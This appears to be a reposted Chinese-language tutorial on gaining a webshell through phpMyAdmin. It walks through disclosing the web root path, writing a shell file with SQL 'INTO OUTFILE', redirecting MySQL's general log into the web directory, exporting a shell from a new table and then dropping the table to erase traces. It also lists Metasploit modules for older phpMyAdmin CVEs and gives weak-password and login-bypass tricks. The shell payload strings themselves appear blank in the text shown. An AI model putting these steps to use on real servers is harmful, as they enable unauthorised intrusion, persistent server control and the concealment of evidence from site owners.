phpMydmin的GetShell思路

phpMyadmin簡介

phpMyadmin是一個以PHP為基礎的MySQL數據庫管理工具,使網站管理員可通過Web接口管理數據庫 。

信息收集

此部分主要需要收集的是網站物理路徑,否則後續無法通過URL連接Shell

物理路徑

查詢數據庫存儲路徑來推測網站物理路徑,也可以通過log變量得到

<code> select @@datadir;/<code>
phpMydmin的GetShell思路

配置文件爆路徑:如果注入點有文件讀取權限,可通過load_file嘗試讀取配置文件

<code> # Windows c:\\windows\\php.ini                             # php配置文件 c:\\windows\\system32\\inetsrv\\MetaBase.xml       # IIS虛擬主機配置文件  # Linux /etc/php.ini                                   # php配置文件 /etc/httpd/conf.d/php.conf /etc/httpd/conf/httpd.conf                     # Apache配置文件 /usr/local/apache/conf/httpd.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache/conf/extra/httpd-vhosts.conf # 虛擬目錄配置文件/<code>

單引號爆路徑:直接在URL後面加單引號。要求單引號沒有被過濾(gpc=off)且服務器默認返回錯誤信息。

www.abc.com/index.php?id=1'

錯誤參數值爆路徑:嘗試將要提交的參數值改成錯誤值。

www.abc.com/index.php?id=-1

Nginx文件類型錯誤解析爆路徑:要求Web服務器是Nginx,且存在文件類型解析漏洞。在圖片地址後添加/x.php,該圖片不但會被當作php文件執行,還有可能爆出物理路徑。

www.abc.com/bg.jpg/x.php

Google爆路徑

<code> site:xxx.com warning site:xxx.com “fatal error”/<code>

測試文件爆路徑

<code> www.xxx.com/test.php www.xxx.com/ceshi.php www.xxx.com/info.php www.xxx.com/phpinfo.php www.xxx.com/php_info.php www.xxx.com/1.php/<code>

其它

<code> phpMyAdmin/libraries/selectlang.lib.php phpMyAdmin/darkblueorange/layout.inc.php phpmyadmin/themes/darkblue_orange/layout.inc.php phpMyAdmin/index.php?lang[]=1 phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1 /phpmyadmin/libraries/lect_lang.lib.php  /phpMyAdmin/phpinfo.php /phpmyadmin/themes/darkblue_orange/layout.inc.php /phpmyadmin/libraries/select_lang.lib.php /phpmyadmin/libraries/mcrypt.lib.php/<code>

其它信息

phpMyadmin後臺面板可以直接看到MySQL版本、當前用戶、操作系統、PHP版本、phpMyadmin版本等信息

也可以通過SQL查詢得到其它信息

<code> select version();  -- 查看數據庫版本 select @@datadir;  -- 查看數據庫存儲路徑 show VARIABLES like '%char%';  -- 查看系統變量/<code>

GetShell

前提條件

網站真實路徑。如果不知道網站真實路徑則後續無法通過URL的方式連shell

讀寫權限。查詢securefilepriv參數,查看是否具有讀寫文件權限,若為NULL則沒有辦法寫入shell。這個值是隻讀變量,只能通過配置文件修改,且更改後需重啟服務才生效

<code> select @@secure_file_priv   -- 查詢secure_file_priv -- secure_file_priv=NULL,禁止導入導出 -- secure_file_priv='',不限制導入導出 -- secure_file_priv=/path/,只能向指定目錄導入導出  select load_file('c:/phpinfo.php');        -- 讀取文件 select '123' into outfile 'c:/shell.php';  -- 寫入文件/<code>

常規GetShell

直接通過SQL查詢寫入shell

<code>-- 假設物理路徑為 "G:\\phpStudy\\WWW" select '' into outfile 'G:/phpStudy/WWW/shell.php';/<code>

日誌GetShell

MySQL5.0版本以上會創建日誌文件,通過修改日誌的全局變量打開日誌並指定日誌保存路徑,再通過查詢寫入一句話木馬,此時該木馬會被日誌記錄並生成日誌文件,從而GetShell。但是前提是要對生成的日誌文件有讀寫權限。

查詢日誌全局變量

<code> show variables like '%general%';  Variable_name     Value general_log       OFF general_log_file  G:\\phpStudy\\MySQL\\data\\FengSec.log/<code>

general_log:日誌保存狀態

generallogfile:日誌保存路徑

開啟日誌保存並配置保存路徑

<code>set global general_log = "ON";    -- 打開日誌保存 set global general_log_file = "G:/phpstudy/WWW/log.php";  -- 設置日誌保存路徑,需先得知網站物理路徑,否則即使寫入了Shell也無法通過URL連接/<code>

寫shell

<code> select '';/<code>

新表GetShell

進入一個數據庫,新建數據表。

名字隨意,這裡為shell_table

字段數填1

phpMydmin的GetShell思路

添加字段

字段名任意,這裡為xiaoma

字段類型為TEXT

phpMydmin的GetShell思路

在該表中點擊插入,值為一句話木馬

<code> '/<code>
phpMydmin的GetShell思路

執行SQL查詢,將該表中的內容導出到指定文件

<code> -- 假設物理路徑為 "G:\\phpStudy\\WWW" select * from shell_table into outfile "G:/phpstudy/WWW/shell.php";/<code>
phpMydmin的GetShell思路

刪除該表,抹除痕跡

<code> Drop TABLE IF EXISTS shell_table;/<code>

以上步驟也可以通過MySQL語句執行

<code> Create TABLE shell_table (xiaoma text NOT NULL) -- 建表 Insert INTO shell_table (xiaoma) VALUES('');  -- 寫入 select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php';   -- 導出 Drop TABLE IF EXISTS shell_table;    -- 刪表/<code>

特殊版本GetShell

CVE-2013-3238

影響版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG

利用模塊:exploit/multi/http/phpmyadminpregreplace

CVE-2012-5159

影響版本:phpMyAdmin v3.5.2.2

利用模塊:exploit/multi/http/phpmyadmin3522_backdoor

CVE-2009-1151

PhpMyAdmin配置文件/config/config.inc.php存在命令執行

影響版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1

利用模塊:exploit/unix/webapp/phpmyadmin_config

弱口令&萬能密碼

弱口令:版本phpmyadmin2.11.9.2, 直接root用戶登陸,無需密碼

萬能密碼:版本2.11.3 / 2.11.4,用戶名'localhost'@'@"則登錄成功

參考:

phpmyadmin getshell之利用日誌文件

mysql備份一句話

phpmyadmin getshell姿勢


分享到:


相關文章: